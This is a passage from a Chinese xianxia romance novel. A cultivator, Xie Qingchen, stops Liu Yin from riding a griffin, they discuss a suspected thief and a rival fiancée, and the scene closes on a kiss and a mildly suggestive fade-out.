前面排队的其他人偷听他们说话,见柳音温温柔柔的,一点都不凶恶,而且还极其漂亮,都忍不住偷偷看她。 前面的商进焉正在指挥狮鹫兽在空中飞行,面上专心致志的样子,手上却不知不觉加快了速度。 又一名小弟子飞完一圈回来,摸着脑袋诧异道:“怎么这么快就飞完了?真的有一圈吗?” “我也觉得不如前面的人飞的时间长呢?咻的一下就飞回来了,这速度也太快了吧?” “哪里快了?一直都是这个速度。”商进焉不耐烦地催促道,“下一个!” 随着狮鹫兽一次次飞上高空盘旋,柳音前面的队伍逐渐缩短,夕阳也渐渐快要落山了。 没过多久,谢清尘和道南长老、商炎阙他们一道回来了,看他们说说笑笑的轻松样子,这盘龙关的结界大概是修补完成了。 “嗬,那狮鹫兽不是进焉的宝贝疙瘩吗,怎么舍得给别人骑了?” “孩子们玩得很开心嘛,难得他们能玩到一起。” “商少主慷慨大气,颇有九阙剑尊的风范,太华剑宗后继有人了!” …… 听着众人的议论声,商炎阙捋着虬须美髯,笑呵呵道:“这小子,也不知道怎么转了性子,平时在家里骄纵得很。” 狭长的凤眸扫一眼在空中飞的狮鹫兽,谢清尘缓缓迈步走到柳音旁边,淡声道:“走吧,回去。” “别呀,马上就轮到我了!”柳音满眼期待,“我就飞一圈,很快!” “不行。”谢清尘脸上没什么表情,说话的语气也凉飕飕的,“跟我回去。” “可是我排了好久的队。”柳音不甘心道,“我想去飞一下!” “飞到天上,变成靶子?”谢清尘压低声音,“我救你都来不及。” 他说完便拉着柳音离开。 商进焉看到顿时急了,张嘴就要喊人,可是看着谢清尘那清冷孤绝的背影,咬着牙又把嘴闭上了。 回到房间里,柳音往茶桌旁一坐,闷闷不乐地撑着腮,看脚底下的小三花猫打滚。 谢清尘见她不高兴了,翻开茶盏给她倒了杯热水,推到她手边,温声道:“这里人多眼杂,你自己飞到空中,我不放心。” 见她还低着头,一动不动,他又道:“我去昆仑,给你猎一头鸾鸟当坐骑,比狮鹫兽更大,更漂亮,羽毛都是彩色的,好不好?” 柳音悄悄眨了下眼,从鼻子里哼了一声。 那些野鬼们说了,男人的嘴,骗人的鬼,尤其是这种画饼的话,更不能信。 谢清尘嘴角轻扯,换了个话题:“明日一早,我们就要回程。道玄仙尊已经测算好方位,我们去云麓仙宗拿到四方阵图纸,就可以回蓬莱了。” 柳音抬头瞟他一眼:“偷我树髓的嫌疑,薛怀安已经排除,那不就剩道玄仙尊一人了?” 狭长的凤眸深了几分,谢清尘想起观星台那一战:“究竟是不是他,我要看过他的灵府才能确定。” “那你什么时候才能看他的灵府?”柳音有些怀疑,不是说,只有修为高的才能看低的灵府吗? 他虽然是化境第二重,但道玄仙尊已经是离境第五重,他要什么时候才能超过道玄仙尊? “他跑不了。”谢清尘断然道,“虽然他的修为比我高很多,但他的剑术不如我。一年之内,我一定会看到他的灵府。” 柳音虽然现在灵力全无,但也知道修炼有多难。就算是从同一境内的一重到另一重,有些修者就要耗费几十年甚至上百年。 而且开、元、真、化、离五境,越 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“当然有!”柳音更生气了,叉着腰数落道,“你不陪我也就算了,还天天这不行那不许,不让我出去玩,不让我到处跑,还不让我骑狮鹫兽!你知道我排了多久的队吗?一天天光忙你自己的,也不知道关心我,我是不漂亮还是身上长刺了,从来也不会主动亲近我,你是真的喜欢我吗,还是心里根本在想着别人!” 看着她一脸气恼叭叭叭说个不停的小模样,谢清尘眼底的笑意更深了,又走前一步,问:“还有吗?” 柳音还想再骂他几句,可是又想不到新说辞,恶狠狠地瞪他一眼。 谢清尘却像是被她瞪爽了,忽然长手一伸,抬起她的下巴,低头吻住她的唇。 垂眸问:“满意了?” 嘴唇相贴的一瞬间,柳音惊得头皮发麻,呆愣愣地站在那里,一动都不敢动。 直到谢清尘放开她,默默看着她笑。 脸颊温度一点点攀升,柳音咬着嘴唇,抬眼瞅着他,瓮声瓮气道:“不满意。” 谢清尘哦了一声:“还有哪里不满意?” “沐玥瑶,你要和她结契成亲吗?”柳音直接了当地问出来,“听说曾夫人想让你们成亲。” 似乎没想到她会提这个,也不知道她从哪里得知的,谢清尘拉起她的手,解释道:“师娘以前的确提过这件事,但我已经拒绝了。玥瑶只是我的师妹,我喜欢的人是你。” 他看着她的眼睛,认真道:“我说过,只有你。” 柳音的脸颊更热了,乌溜溜的大眼睛直望着他,像是想看出他说的是不是假话。 “那你为什么像修无情道一样,从不肯和我亲近?” 俊逸的面庞英姿倜傥,含情的眼神更是无双,谢清尘轻抚她的脸颊,眼底有压抑的欲.望涌动:“你的柳哨太脆弱了,我怕弄坏了。” 感觉脸颊在发烧,柳音迎着他的目光,喃喃道:“那……那你不能轻一点吗?” 手中柔夷细若无骨,肌肤滑腻,眼前美人顾盼动人,娇艳如花,谢清尘闻到她身上清甜的香气,仿佛勾魂夺魄的春.药。 喉结上下滚动一圈,再难克制心中冲动,他抬手将柳音横抱起来,一步步向卧房走去。